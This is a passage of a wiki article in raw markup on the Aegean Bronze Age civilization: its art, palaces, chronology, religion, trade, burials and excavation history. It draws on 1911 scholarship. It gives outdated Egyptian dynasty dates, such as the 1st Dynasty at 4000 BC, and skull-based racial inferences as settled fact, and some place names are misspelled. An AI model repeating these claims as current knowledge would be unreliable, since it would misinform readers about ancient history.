For a time the surviving remains were thought to have originated with Egyptians or Phoenicians, but with more remains uncovered this was shown to be untrue. The Aegean civilization developed three distinctive features. 

===Art===
Aegean Art is distinguishable from those of other early periods and areas.  Its borrowings from other contemporary arts are clear, especially in its later stages, but received an essential modification at the hands of the Aegean craftsman, and the product is stamped with a new character, namely [[realism (arts)|realism]] and is a precursor of Hellenic art. The fresco-paintings, ceramic motifs, reliefs, free sculpture and toreutic handiwork of [[Crete]] have supplied the clearest proof of it, confirming the impression already created by the goldsmiths' and painters' work of the Greek mainland ([[Mycenae]], [[Vaphio]], [[Tiryns]]).

===Architecture===
The arrangement of Aegean palaces is of two main types. 

First (and perhaps earliest in time), the chambers are grouped around a central court, being linked one with the other in a labyrinthine complexity, and the greater oblongs are entered from a long side and divided longitudinally by pillars. 

Second, the main chamber is of what is known as the [[megaron]] type, i.e. it stands free, isolated from the rest of the plan by corridors, is entered from a vestibule on a short side, and has a central hearth, surrounded by pillars and perhaps open to the sky; there is no central court, and other apartments form distinct blocks.  For possible geographical reasons for this duality of type see [[Crete]]. In spite of many comparisons made with [[Ancient Egyptian|Egyptian]], [[Babylonian]] and [[Hittites|Hittite]] plans, both these arrangements remain out of keeping with any remains of earlier or contemporary structures elsewhere.  

A type of tomb, the dome or &quot;bee-hive,&quot; of which the grandest examples known are at Mycenae. The Cretan 'larnax' coffins, also, have no parallels outside the Aegean.

==History of Aegean Civilization==
In the absence of written records, only a summary history can be derived from monuments and archaeological remains. But the decipherment of writings in recent times has added much new knowledge.

===Origin and continuity===
A great deal of evidence has been uncovered by archaeology which answers the question how much the Aegean civilization, which existed for at least three thousand years, can be regarded as continuous. Aegean civilization had its roots in a long-lasting primitive [[Neolithic]] period.  This period is represented by a [[stratum]], at [[Knossos]] in places nearly 20 ft (6 m) thick, which contains stone implements and shards of handmade and hand-polished vessels, showing a progressive development in technique from bottom to top.

This [[Minoan civilization|Minoan]] stratum is seemingly earlier than the lowest layer at [[Hissarlik]]. It closes with the introduction of incised, white-filled decoration on pottery, whose motifs are found reproduced in [[monochrome]] [[pigment]]. Following the end of this period was the beginning of the [[Bronze Age]], and the first of the Minoan periods (see [[Crete]]). Thereafter, by exact observation of [[stratification]], eight more periods have been distinguished, each marked by some important development in pottery. These periods fill the whole Bronze Age, with whose close, by the introduction of the superior metal, iron, the Aegean Age is conventionally held to end.

[[Iron]] came into general Aegean use about 1000 B.C., and possibly was the means by which a body of northern invaders established their power on the ruins of the earlier dominion. Throughout the nine Knossian periods, following the Neolithic period, there is evidence of a perfectly orderly and continuous evolution in, at any rate, ceramic art. From one stage to another, fabrics, forms and motifs of decoration develop gradually; so that, at the close of a span of more than two thousand years, at the least, the influences of the beginning can still be clearly seen and no trace of violent change can be detected. This fact would go far to prove that the civilization continued fundamentally and essentially the same throughout.

It is supported by less abundant remains of other arts. That of painting in fresco, for instance, shows the same orderly development for the later part of the period. In religion, it can at least be said that there is no trace of sharp change; beginning with a uniform [[nature worship]] passing through all the normal stages down to the [[anthropomorphism]] in the latest period.  There is no appearance of intrusive [[deities]] or [[cult]]-ideas.

The Aegean civilization was indigenous, firmly rooted and strong enough to persist essentially unchanged and dominant in its own geographical area throughout the [[Neolithic]] and [[Bronze Age]]s.

There is slight evidence of such changes as might be due to the intrusion of small conquering tribes, which adopted the superior civilization of the conquered people and became assimilated by them. The various rebuildings of the palace at [[Knossos]] give credence to this. A similar rebuilding took place at the same period at [[Phaestus]], and possibly at [[Hagia Triada]].  

The [[megaron]] arrangement, which we find in the palaces discovered in the north of the Aegean area, at [[Mycenae]], [[Tiryns]] and [[Hissarlik]], indicate they were from a later date, for none of them display the designs so characteristic of Crete.

===Chronology===
The Chronology was originally based on linking archaeological remains with known Egyptian remains which can be dated to Dynasties.

The first was inferred from a similarity between early Minoan vases and others found in Egypt and dated to the 1st Dynasty [[4000BC]].

Other remains found at [[Knossos]] are similar to the 12th Dynasty c[[2500BC]] Egyptian remains.

A [[diorite]] statuette, referable by its style and inscription to the 13th Dynasty, was discovered in deposit  in the Central Court,of [[Knossos]] and a [[cartouche]] of the &quot;Shepherd King,&quot; [[Khyan]], was also found there. He is usually dated about 1900 B.C.

Discoveries of [[scarab]]s and other Egyptian objects made at [[Mycenae]], [[Ialysus]], [[Vaphio]], and others. with the 18th Dynasty (ca. 1600-1400 BC). While in Egypt itself, Refti tributaries, bearing vases of Aegean form, and themselves similar in fashion of dress and arrangement of hair to figures on Cretan [[fresco]]es and gems, are depicted under this and the succeeding Dynasties (e.g. Rekhmara tomb at Thebes).

Actual vases of late Minoan style have been found with remains of the 18th Dynasty, while in the Aegean area itself was evidence of a great wave of Egyptian influence beginning with this same Dynasty, such as the [[Nilotic]] scenes depicted on the [[Mycenae]] daggers, on [[fresco]] and other artefacts.

The end of Aegean civilisation is less certain -- iron does not begin to be used for weapons in the Aegean until about [[1000 BC]], perhaps coinciding with the incursion of northern tribes remembered by the classical Greeks as the [[Dorian Invasion]]. This incursion did not altogether stamp out Aegean civilization, at least in the southern part of its area. But it finally destroyed the palace at [[Knossos]] and initiated the [[Geometric Age]], with which the history of Aegean civilization proper can be said to have closed.

===Annals===
From anthropological data based on skull shapes, a people, similar to the Mediterranean race of North Africa, was settled in the Aegean area from a remote Neolithic antiquity, but, except in Crete, where insular security was combined with great natural fertility, remained in an undeveloped state until far into the [[4th millennium BC|4th millennium B.C.]].

In Crete, however, it had long been developing a certain civilization, and at a period more or less contemporary with Egyptian Dynasties 11 and 12. (2500 B.C.?) the scattered communities of the center of the island coalesced into a strong monarchical state, the [[Minoan civilization]], whose capital was at [[Knossos]]. There the king, probably also high priest of the prevailing nature-cult, built a great stone palace, and received the tribute of lesser communities, likely of whom the prince of [[Phaestus]], who commanded the [[Messara]] plain, was chief. The Minoan monarch had maritime relations with Egypt, and presently sent his wares all over the south Aegean (e.g. to [[Melos]] in the earlier Second City Period of [[Phylakope]]) and to [[Cyprus]], receiving in return such commodities as Melian [[obsidian]] knives. A system of [[pictographic writing]] came into use early in this Minoan period, but only a few documents made of durable material have survived.  Pictorial art of a purely indigenous character, whether on ceramic material or plaster, made great strides, and from ceramic forms we may infer also a high skill in [[metallurgy]].

The absence of fortifications both at Knossos and Phaestus suggest that at this time Crete was internally peaceful and externally secure. Small settlements, in very close relation with the capital, were founded in the east of the island to command fertile districts and assist maritime commerce.  [[Gournia]] and [[Palaikastro]] fulfilled both these ends: [[Zakros]] must have had mainly a commercial purpose, as the starting-point for the African coast. The peak of this dominion was reached about the end of the [[3rd millennium BC|3rd millennium B.C.]], and thereafter there ensued a certain, though not very serious, decline.

Meanwhile, at other favourable spots in the Aegean, but chiefly on sites in easy relation to maritime commerce, e.g. [[Tiryns]] and [[Hissarlik]], other communities of the early race began to arrive at civilization, but were naturally influenced by the more advanced culture of Crete in proportion to their nearness or vicinity. Early [[Hissarlik]] shows less Cretan influence and more external (i.e. Asiatic) than early [[Melos]]. The inner Greek mainland remained still in a backward state.

Five hundred years later -- about 1600 B.C. -- certain striking changes have taken place. The Aegean remains have become astonishingly uniform over the whole area; the local ceramic developments have almost ceased and been replaced by ware of one general type both of fabric and decoration. The Cretans have avoided their previous decadence and are once more possessors of a progressive civilization. They have developed a more convenient and expressive written language by stages, which is best represented by the tablets of [[Hagia Triada]]. The art of the entire area gives evidence of one spirit and common models. In religious representations it shows the same anthropomorphic personification and the same ritual furniture. Objects produced in one locality are found in others. The area of Aegean influence has widened and become more busy. Commerce with Egypt, for example, has increased in a marked degree, and Aegean objects or imitations of them are found to have begun to penetrate into [[Syria]], inland [[Asia Minor]], and the central and western Mediterranean lands, e.g. [[Sicily]], [[Sardinia]] and [[Spain]]. There can be little doubt that a strong power was now fixed in one Aegean center, and that all the area had come under its political, social and artistic influence.

The seat of power was in Crete, but envigorated by an influx of new blood from the north, large enough to instil fresh vigour, but too small to change the civilization in its essential character.

This Cretan dominance was short-lived. The security of the island was apparently violated not long after 1500 BC, when the palace at Knossos was sacked and burned, and Cretan art suffered an irreparable blow, due to the invasion of all the Aegean lands (or at least the Greek mainland and isles) by some less civilized conquerors, who remained politically dominant, but, like their forerunners, having no culture of their own, adopted, while they spoiled, that which they found. Who these invaders were we cannot say, but the probability is that they too came from the north and were precursors of the later &quot;Hellenes.&quot; Under their rule peace was re-established, and art production, though of inferior quality, became abundant again among the subject population. The northern part of the palace at Knossos was re-occupied by chieftains who have left numerous rich graves, and general commercial activity must have been resumed because the uniformity of the decadent Aegean products and their wide distribution become more marked than ever.

About [[1000 BC]] a final catastrophe took place. The palace at [[Knossos]] was once more destroyed, never to be rebuilt or re-inhabited. Iron took the place of bronze, and Aegean art ceased on the Greek mainland and in the Aegean isles, including Crete, together with Aegean writing. In Cyprus and perhaps on the south-west [[Anatolia]]n coasts, there is some reason to think that the cataclysm was less complete, and Aegean art continued to languish, cut off from its fountain-head. Such artistic faculty that survived elsewhere was made in the lifeless geometric style that is reminiscent of the later Aegean, but wholly unworthy of it. Also, [[cremation]] took the place of burial of the dead.

This great disaster, which cleared the ground for a new growth of local art, was probably due to yet another incursion of northern tribes, more barbarous than their predecessors, but possessed of superior iron weapons -- those tribes which later Greek tradition and Homer knew as the [[Dorian]]s. They crushed a civilization already hard hit, and it took two or three centuries for the Aegean artistic spirit, probably preserved in suspended animation by the survival of Aegean racial elements, to blossom anew. On this conquest seems to have ensued a long period of unrest and popular movements, known to [[Ancient Greece|Greek]] tradition as the [[Ionian Migration]] and the Aeolic and Dorian &quot;colonizations&quot;. When once more we see the Aegean area clearly, it is dominated by the Hellenes, though it has not lost all memory of its earlier culture.

==Political Organization==
Evidence of monarchy at all periods on Crete can be found by the great [[Crete|Cretan]] palaces and the fortified citadels of [[Mycenae]], [[Tiryns]] and [[Hissarlik]], each containing little more than one great residence, surrounded by smaller buildings for the townsfolk. Pockets of local developments of art before the middle of the [[2nd millennium BC]] suggest the early existence of separate traditions, of which the strongest was the [[Minoan civilization|Minoan]]. After that date the evidence strongly suggests that one political dominion was spread for a brief period, or for two brief periods, over almost all the area. The great number of tribute-tallies found at [[Knossos]] perhaps indicates that the center of power was always there.

==Religion==
The fact that shrines have so far been found within palaces and not certainly anywhere else indicates that the kings kept religious power in their own hands. Perhaps they were themselves high-priests. [[Religion]] in the area seems to have been essentially the same everywhere from the earliest period, consisting of features like the cult of a [[Divine Principle]], resident in dominant features of nature (sun, stars, mountains, trees, etc.) and of controlling [[fertility]]. This cult passed through an [[aniconic]] stage, from which [[fetish]]es survived to the last, these being rocks or pillars, trees, weapons (e.g. [[bipennis]], or double [[war-axe]], [[shield]]), etc. When the [[iconic]] stage was reached, about [[2000 BC]], we find the Divine Spirit represented as a [[goddess]] with a subordinate young [[deity|god]], as in many other east [[Mediterranean]] lands. The god was probably son and mate of the goddess, and the divine pair represented the genius of [[Reproductive Fertility]] in its relations with humanity. The goddess sometimes appears with [[dove]]s, as [[uranic]] (heavenly), at others with [[snake]]s, as [[chthonic]] (earthly). In the ritual, fetishes, often of miniature form, played a great part: all sorts of plants and animals were [[sacred]]: sacrifice (not burnt, and not human), dedication of all sorts of offerings and [[simulacra]], [[invocation]], etc., were practised. The dead, who returned to the [[Great Mother]], were objects of a sort of [[hero]]-worship. This early nature-cult explains many anomalous features of [[Hellenic]] religion, especially in the cults of [[Artemis]] and [[Aphrodite]].

==Social Organization==
There is a possibility that features of a [[primeval]] [[matriarch]]ate long survived; but there is no certain evidence.  Of the organization of the people under the monarch we are ignorant. There are so few representations of armed men that it seems doubtful if there can have been any professional military class. Theatre-like structures found at [[Knossos]] and [[Phaestus]], within the precincts of the palaces, were perhaps used for shows or for sittings of a royal [[assize]], rather than for popular assemblies. The Minoan remains contain evidence of an elaborate system of registration, account-keeping and other secretarial work, which perhaps indicates a considerable body of law. The life of the ruling class was comfortable and even luxurious from early times. This can be seen by the fine stone palaces, richly decorated, with separate sleeping apartments, large halls, ingenious devices for admitting light and air, sanitary conveniences and marvellously modern arrangements for supply of water and for drainage. Even the smaller houses, after the [[Neolithic]] period, seem also to have been of stone, plastered within. After 1600 B.C. the palaces in Crete had more than one story, fine stairways, bath-chambers, windows, folding and sliding doors, etc. In this later period, the distinction of blocks of apartments in some palaces has been held to indicate the seclusion of women in [[Harem (household)|harem]]s, at least among the ruling caste. [[Minoa]]n [[fresco]]es show women grouped apart, and they appear alone on gems. Flesh and fish and many kinds of vegetables were evidently eaten, and [[wine]] and [[beer]] were drunk. Vessels for culinary, table, and luxurious uses show an infinite variety of form and purpose. Craftsmen's tools of many kinds were in use, [[bronze]] succeeding [[obsidian]] and other hard stones as the material. Seats are found carefully shaped to the human form. At least on Crete there was evidently a large-scale [[olive]]- and vine-culture. [[Chariot]]s were in use in the later period, as is proved by the pictures of them on Cretan tablets, and therefore, probably, the [[horse]] also was known. Indeed a horse appears on a gem impression. Main pathways were paved. [[Sport]]s, probably more or less religious, are often represented, e.g. bullfighting, dancing, boxing, armed combats.

==Commerce==
Commerce was practised to some extent in very early times, as is proved by the distribution of [[Melian]] [[obsidian]] over all the Aegean area and by the [[Nilotic]] influence on early Minoan art. We find Cretan vessels exported to [[Melos]], [[Egypt]] and the [[Greece|Greek]] mainland. Melian vases came in their turn to Crete. After 1600 B.C. there is very close commerce with Egypt, and Aegean things had their way to all coasts of the Mediterranean. No traces of [[currency]] have come to light, unless certain axeheads, too slight for practical use, had that character. Standard weights have been found, as well as representations of ingots. The Aegean written documents have not yet proved (by being found outside the area) to be [[epistolary]] (letter writing) correspondence with other countries. Representations of ships are not common, but several have been observed on Aegean gems, gem-sealings and vases. They are vessels of low free-board, with [[mast (sailing)|mast]]s. Familiarity with the sea is proved by the free use of marine motives in decoration.

Discoveries, later in the twentieth century, of sunken trading vesels round the coasts of the region have brought forth an enormous amount of new information about those times.

==Treatment of the Dead==
The dead in the earlier period were laid (so far as we know at present) within cysts constructed of upright stones. These were sometimes inside [[cave]]s. After the burial the cyst was covered in with earth. A little later, in Crete, bone-pits seem to have come into use, containing the remains of many burials. Possibly the flesh was boiled off the bones at once (&quot;scarification&quot;) or left to rot in separate cysts a while. Afterwards the skeletons would be collected and the cysts re-used. Coffins are of small size, contain corpses with the knees drawn up to the chin. They are found in excavated chambers or pits. In the later period, a peculiar [[Beehive tombs|&quot;bee-hive&quot; or &quot;tholos&quot; tomb]]s became common, sometimes wholly or partly excavated, sometimes (as in the magnificent Mycenaean &quot;treasuries&quot;) constructed domewise. The shaft-graves in the Mycenae circle are also a late type, paralleled in the later Minoan cemetery. The latest type of tomb is a flatly vaulted chamber approached by a horizontal or slightly inclined way, whose sides converge above. At no period do the Aegean dead seem to have been burned. Weapons, food, water, cosmetics  and various trinkets were laid with the corpse at all periods. In the Mycenae circle an altar seems to have been erected over the graves, and perhaps slaves were killed to bear the dead chiefs company. A painted [[sarcophagus]], found at [[Hagia Triada]], also possibly shows a hero-cult of the dead.

==Artistic Production==
Ceramic art reached a specially high standard in technique, form and decoration by the middle of the [[3rd millennium BC]] on Crete. The products of that period compare favorably with any potters' work in the world. The same may be said of fresco-painting, and probably of metal work. Modelling in [[terra cotta]], [[sculpture]] in stone and ivory, [[engraving]] on gems, were following it closely by the beginning of the 2nd millennium. After [[2000 BC]] all these arts revived, and sculpture, as evidenced by relief work, both on a large and on a small scale, carved stone vessels, [[metallurgy]] in [[gold]], [[silver]] and [[bronze]], advanced farther. This art and those of fresco- and vase-painting and of gem-engraving stood higher about the [[15th century BC|15th century B.C.]] than at any subsequent period before the 6th century. The manufacture, modelling and painting of [[faience]] objects, and the making of inlays in many materials were also familiar to Aegean craftsmen, who show in all their best work a strong sense of natural form and an appreciation of ideal balance and decorative effect, such as are seen in the best products of later [[Hellenic art]]. Architectural ornament was also highly developed. The richness of the Aegean capitals and columns may be judged by those from the &quot;Treasury of Atreus&quot; now set up in the [[British Museum]]; and of the [[frieze]]s we have examples in Mycenaean and Minoan fragments, and Minoan paintings. The magnificent gold work of the later period, preserved to us at [[Mycenae]] and [[Vaphio]], needs only to be mentioned. It should be compared with stone work in Crete, especially the [[steatite]] vases with reliefs found at [[Hagia Triada]]. On the whole, Aegean art at its two great periods, in the middle of the 3rd and 2nd millennia respectively, will bear comparison with any contemporary arts.

==Evidence of Aegean civilization==
For details of monumental evidence the articles on [[Crete]], [[Mycenae]], [[Tiryns]], [[Troad]], [[Cyprus]], etc., must be consulted. The most representative site explored up to now is [[Knossus|Cnossus]] (see [[Crete]]) which has yielded not only the most various but the most continuous evidence from the [[Neolithic age]] to the twilight of classical civilization. Next in importance come [[Hissarlik]], Mycenae, [[Phaestus]], [[Hagia Triada]], Tiryns, [[Phylakope]], [[Palaikastro]] and [[Gournia]]. 

'''A. INTERNAL EVIDENCE''' 
*'''Structures''';  [[Ruin]]s of [[palace]]s, palatial [[villa]]s, houses, built dome- or cist-graves and [[fortification]]s ([[Aegean Sea|Aegean]] islands, [[Greece|Greek]] mainland and northwestern [[Anatolia]]), but not distinct [[temple (Greek)|temples]]; small [[shrine]]s, however, and temene (religious enclosures, remains of one of which were probably found at [[Petsofa]] near Palaikastro by J. L. Myres in [[1904]]) are represented on [[intaglio]]s and [[fresco]]es.  From the sources and from inlay-work we have also representations of palaces and houses. 
*'''Structural Decoration''';  Architectural features, such as [[column]]s, [[frieze]]s and various [[molding|mouldings]]; [[mural]] decoration, such as fresco-paintings, coloured [[relief]]s and [[mosaic]] inlay. 
*'''[[Furniture]]''';  (a) Domestic furniture, such as [[vessel]]s of all sorts and in many materials, from huge store jars down to tiny [[unguent]] pots; culinary and other implements; [[throne]]s, [[chair|seats]], [[Furniture#Table|tables]], etc., these all in stone or plastered [[Terra cotta|terra-cotta]]. (b) Sacred furniture, such as models or actual examples of [[ritual]] objects; of these we have also numerous pictorial representations. (c) [[Funeral|Funerary]] furniture, e.g. [[coffin]]s in painted terra-cotta. 
*'''Art products''';  E.g. plastic objects, carved in [[Rock (geology)|stone]] or [[ivory]], cast or beaten in metals ([[gold]], [[silver]], [[copper]] and [[bronze]]), or modelled in [[clay]], [[faience]], [[paste]], etc. Very little trace has yet been found of large free-standing [[sculpture]], but many examples exist of sculptors' smaller work.  [[Vase]]s of all kinds, carved in [[marble]] or other stones, cast or beaten in metals or fashioned in [[clay]], the latter in enormous number and variety, richly ornamented with coloured schemes, and sometimes bearing moulded decoration. Examples of painting on stone, opaque and transparent. Engraved objects in great number e.g. ring-bezels and [[gem]]s; and an immense quantity of clay impressions, taken from these. 
*'''[[Weapon]]s, [[tool]]s and implements''';  In stone, clay and bronze, and at the last [[iron]], sometimes richly ornamented or inlaid.  Numerous representations also of the same.  No actual body-[[armour]], except such as was ceremonial and buried with the dead, like the gold breastplates in the circle-graves at Mycenae. 
*'''Articles of personal use''';  E.g. [[brooch]]es (fibulae), [[pin]]s, [[razor]]s, [[tweezers]], etc., often found as dedications to a deity, e.g. in the Dictaean Cavern of Crete.  No [[textile]]s have survived. 
*'''Written documents''';  E.g. clay tablets and discs (so far in Crete only), but nothing of more perishable nature, such as skin, [[papyrus]], etc.; engraved gems and gem impressions; [[legend]]s written with [[pigment]] on [[pottery]] (rare); characters incised on stone or pottery.  These show two main systems of script (see [[Crete]]). 
*'''Excavated [[tomb]]s''';  Of either the pit or the [[grotto]] kind, in which the dead were laid, together with various objects of use and luxury, without cremation, and in either coffins or loculi or simple wrappings. 
*'''Public works''';  Such as paved and stepped roadways, bridges, systems of drainage, etc. 

'''B. EXTERNAL EVIDENCE'''
*'''Monuments and records of other contemporary civilizations''';  E.g. representations of alien peoples in Egyptian frescoes; imitation of Aegean fabrics and style in non-Aegean lands; allusions to [[Mediterranean]] peoples in [[Egypt]]ian, [[Semitic]] or [[Babylon]]ian records. 
*'''Literary traditions of subsequent civilizations''';  Especially the Hellenic; such as, e.g., those embodied in the [[Homer]]ic poems, the legenda concerning Crete, Mycenae, etc.; statements as to the origin of [[deity|god]]s, [[cult]]s and so forth, transmitted to us by Hellenic antiquarians such as [[Strabo]], [[Pausanias (geographer)|Pausanias]], [[Diodorus Siculus]], etc. 
*'''Traces of [[Convention (philosophy and social sciences)|custom]]s, [[creed]]s, [[ritual]]s, etc''';  In the [[Aegean Sea|Aegean]] area at a later time, discordant with the civilization in which they were practised and indicating survival from earlier systems. There are also possible [[linguistics|linguistic]] and even physical survivals to be considered.
[[Mycenae]] and [[Tiryns]] are the two principal sites on which evidence of a [[prehistory|prehistoric]] [[Civilization|civilization]] was remarked long ago by the [[Classical antiquity|classical Greeks]].

==The discovery of Aegean civiliation==
The curtain-wall and towers of the Mycenaean [[citadel]], its gate with heraldic lions, and the great &quot;Treasury of [[Atreus]]&quot; had borne silent witness for ages before [[Heinrich Schliemann]]'s time; but they were supposed only to speak to the [[Homer|Homeric]], or at farthest a rude Heroic beginning of purely [[History of Greece|Hellenic]], civilization. It was not until Schliemann exposed the contents of the graves which lay just inside the gate, that scholars recognized the advanced stage of [[art]] to which prehistoric dwellers in the Mycenaean citadel had attained. 

There had been, however, a good deal of other evidence available before [[1876]], which, had it been collated and seriously studied, might have discounted the sensation that the discovery of the citadel graves eventually made. Although it was recognized that certain tributaries, represented e.g. in the XVIIIth Dynasty tomb of Rekhmara at [[Egypt|Egyptian]] [[Thebes, Egypt|Thebes]] as bearing vases of peculiar forms, were of some [[Mediterranean]] race, neither their precise habitat nor the degree of their civilization could be determined while so few actual prehistoric remains were known in the [[Mediterranean]] lands.  Nor did the [[Aegean Sea |Aegean]] objects which were lying obscurely in museums in [[1870]], or thereabouts, provide a sufficient test of the real basis underlying the Hellenic myths of the [[Argos|Argolid]], the [[Troad]] and [[Crete]], to cause these to he taken seriously.  Aegean vases have been exhibited both at [[Sèvres|Sevres]] and [[Neuchâtel|Neuchatel]] since about [[1840]], the provenience (i.e. source or origin) being in the one case Phylakope in [[Milos|Melos]], in the other [[Kefallinia|Cephalonia]].  

Ludwig Ross, the [[Germany|German]] [[Archaeology|archaeologist]] appointed Curator of the Antiquities of [[History of Athens|Athens]] at the time of the establishment of the Kingdom of [[Greece]], by his explorations in the Greek islands from 1835 onwards, called attention to certain early [[intaglio]]s, since known as Inselsteine; but it was not until [[1878]] that C. T. Newton demonstrated these to be no strayed [[Phoenicia|Phoenician]] products. In [[1866]] primitive structures were discovered on the island of Therasia by quarrymen extracting pozzolana, a [[Silicon dioxide|siliceous]] [[Volcanic ash|volcanic ash]], for the [[Suez Canal]] works.  When this discovery was followed up in [[1870]], on the neighbouring [[Santorini|Santorin (Thera)]], by representatives of the French School at [[Athens]], much pottery of a class now known immediately to precede the typical late Aegean ware, and many stone and metal objects, were found.  These were dated by the [[geologist]] Ferdinand A. Fouqué, somewhat arbitrarily, to 2000 B.C., by consideration of the superincumbent eruptive stratum.  

Meanwhile, in [[1868]], tombs at Ialysus in [[Rhodes]] had yielded to Alfred  Biliotti many fine painted vases of styles which were called later the third and fourth &quot;Mycenaean&quot;; but these, bought by [[John Ruskin]], and presented to the [[British Museum]], excited less attention than they deserved, being supposed to be of some local Asiatic fabric of uncertain date.  Nor was a connection immediately detected between them and the objects found four years later in a tomb at Menidi in [[Attica]] and a rock-cut &quot;bee-hive&quot; grave near the Argive Heraeum. 

Even Schliemann's first [[excavation]]s at Hissarlik in the [[Troad]] did not excite surprise.  But the &quot;Burnt City&quot; of his second stratum, revealed in [[1873]], with its fortifications and vases, and a hoard of [[gold]], [[silver]] and [[bronze]] objects, which the discoverer connected with it, began to arouse a curiosity which was destined presently to spread far outside the narrow circle of scholars. As soon as Schliemann came on the Mycenae graves three years later, light poured from all sides on the prehistoric period of [[Greece]].  It was recognized that the character of both the fabric and the decoration of the Mycenaean objects was not that of any well-known art. A wide range in space was proved by the identification of the Inselsteine and the Ialysus vases with the new style, and a wide range in time by collation of the earlier Theraean and Hissarlik discoveries. A relationship between objects of art described by [[Homer]] and the Mycenaean treasure was generally allowed, and a correct opinion prevailed that, while certainly posterior, the civilization of the [[Iliad]] was reminiscent of the Mycenaean. 

Schliemann got to work again at Hissarlik in [[1878]], and greatly increased our knowledge of the lower strata, but did not recognize the Aegean remains in his &quot;Lydian&quot; city of the sixth stratum.  These were not to be fully revealed until Dr. Wilhelm Dorpfeld, who had become Schliemann's assistant in [[1879]], resumed the work at Hissarlik in [[1892]] after the first explorer's death. But by laying bare in [[1884]] the upper stratum of remains on the rock of [[Tiryns]], Schliemann made a contribution to our knowledge of prehistoric domestic life which was amplified two years later by Christos Tsountas's discovery of the Mycenae palace. Schliemann's work at Tiryns was not resumed till 1905, when it was proved, as had long been suspected, that an earlier palace underlies the one he had exposed. 

From 1886 dates the finding of Mycenaean [[sepulchre]]s outside the Argolid, from which, and from the continuation of Tsountas's exploration of the buildings and lesser graves at Mycenae, a large treasure, independent of Schliemann's princely gift, has been gathered into the National Museum at [[Athens]]. In that year dome-tombs, most already rifled but retaining some of their furniture, were excavated at Arkina and [[Eleusis]] in Attica, at Dimini near Volo in [[Thessaly]], at Kampos on the west of Mount Taygetus, and at Maskarata in [[Kefallinia|Cephalonia]]. The richest grave of all was explored at Vaphio in [[Laconia]] in [[1889]], and yielded, besides many gems and miscellaneous goldsmiths' work, two golden goblets chased with scenes of bull-hunting, and certain broken vases painted in a large bold style which remained an enigma until the excavation of [[Knossos|Cnossus]]. 

In [[1890]] and [[1893]] Staes cleared out certain, less rich dome-tombs at Thoricus in [[Attica]]; and other graves, either rock-cut &quot;bee-hives&quot; or chambers, were found at Spata and Aphidna in Attica, in [[Aegina]] and [[Salamis Island|Salamis]], at the Heraeum (see [[Argos]]) and Nauplia in the Argolid, near [[Thebes, Greece|Thebes]] and [[Delphi]], and not far from the [[Thessaly|Thessalian]] [[Larissa]].  During the [[Acropolis]] excavations in [[Athens]], which terminated in [[1888]], many potsherds of the Mycenaean style were found; but Olympia had yielded either none, or such as had not been recognized before being thrown away, and the temple site at [[Delphi]] produced nothing distinctively Aegean. The [[United States|American]] explorations of the Argive Heraeum, concluded in [[1895]], also failed to prove that site to have been important in the prehistoric time, though, as was to be expected from its neighbourhood to Mycenae itself, there were traces of occupation in the later Aegean periods.  

Prehistoric research had now begun to extend beyond the Greek mainland.  Certain central Aegean islands, Antiparos, [[Ios]], Amorgos, Syros and Siphnos, were all found to be singularly rich in evidence of the middle-Aegean period. The series of Syran built graves, containing crouching corpses, is the best and most representative that is known in the Legean.  Melos, long marked as a source of early objects but not systematically excavated until taken in hand by the [[United Kingdom|British]] School at [[Athens]] in [[1896]], yielded at Phylakope remains of all the Aegean periods, except the [[Neolithic]]. 

A map of [[Cyprus]] in the later [[Bronze Age]] (such as is given by J. L. Myres and M. O. Richter in Catalogue of the [[Cyprus]] Museum) shows more than twenty-five settlements in and about the Mesaorea district alone, of which one, that at Enkomi, near the site of Salamis, has yielded the richest Aegean treasure in precious metal found outside Mycenae.  E. Chantre in [[1894]] picked up lustreless ware, like that of Hissariik, in central Phtygia and at Pteria (q.v.), and the [[England|English]] archaeological expeditions, sent subsequently into north-western [[Anatolia]], have never failed to bring back ceramic specimens of Aegean appearance from the valleys of the Rhyndncus, Sangarius and Halys. 

In [[Egypt]] in [[1887]] W. M. F. Petrie found painted sherds of Cretan style at [[Kahun]] in the [[Al Fayyum|Fayum]], and farther up the [[Nile]], at [[Amarna|Tell el-Amarna]], chanced on bits of no fewer than 800 Aegean vases in [[1889]]. There have now been recognized in the collections at [[Cairo]], [[Florence]], [[London]], [[Paris]] and [[Bologna]] several Egyptian imitations of the Aegean style which can be set off against the many debts which the centres of Aegean culture owed to Egypt.  Two Aegean vases were found at [[Sidon]] in [[1885]], and many fragments of Aegean and especially Cypriote pottery have been turned up during recent excavations of sites in [[Philistines|Philistia]] by the [[Palestine Fund]].  

Southeastern [[Sicily]], ever since P. Orsi excavated the Sicel cemetery near Lentini in [[1877]], has proved a mine of early remains, among which appear in regular succession Aegean fabrics and motives of decoration from the period of the second stratum at Hissarlik. Sardinia has Aegean sites, e.g. at Abini near Teti; and [[Spain]] has yielded objects recognized as Aegean from tombs near [[Cádiz|Cadiz]] and from [[Zaragoza, Spain|Saragossa]]. 

One land, however, has eclipsed all others in the Aegean by the wealth of its remains of all the prehistoric ages&amp;mdash; Crete; and so much so that, for the present, we must regard it as the fountainhead of Aegean civilization, and probably for long its political and social centre. The island first attracted the notice of archaeologists by the remarkable archaic Greek bronzes found in a cave on [[Mount Ida]] in [[1885]], as well as by [[Epigraph|epigraphic]] [[monument]]s such as the famous law of Gortyna.  But the first undoubted Aegean remains reported from it were a few objects extracted from Cnossus by Minos Kalokhairinos of Candia in [[1878]]. These were followed by certain discoveries made in the S. plain Messara by F. Halbherr.  Unsuccessful attempts at Cnossus were made by both W. J. Stillman and H. Schliemann, and A. J. Evans, coming on the scene in [[1893]], travelled in succeeding years about the island picking up trifles of unconsidered evidence, which gradually convinced him that greater things would eventually be found. He obtained enough to enable him to forecast the discovery of written characters, till then not suspected in Aegean civilization. The revolution of [[1897]]-98 opened the door to wider knowledge, and much exploration has ensued, for which see [[Crete]]. 

Thus the &quot;Aegean Area&quot; has now come to mean the [[Archipelago]] with Crete and [[Cyprus]], the Hellenic peninsula with the [[Ionian Islands|Ionian islands]], and Western [[Anatolia]].  Evidence is still wanting for the [[Macedonia (region)|Macedonian]] and [[Thrace|Thracian]] coasts. Offshoots are found in the western [[Mediterranean]] area, in [[Sicily]], [[Italy]], [[Sardinia]] and [[Spain]], and in the eastern Mediterranean area in [[Syria]] and [[Egypt]].  About the [[Cyrenaica]] we are still insufficiently informed.

==See also== 
* [[Minoan civilization]]
* [[Mycenaean Greece]]
* [[Aegean Sea]]

==External links==
*[http://projectsx.dartmouth.edu/classics/history/bronze_age/index.html Jeremy B. Rutter, &quot;The Prehistoric Archaeology of the Aegean&quot;]: chronology, history, bibliography

==References==
*{{1911}}

[[Category:Aegean civilization|*]]

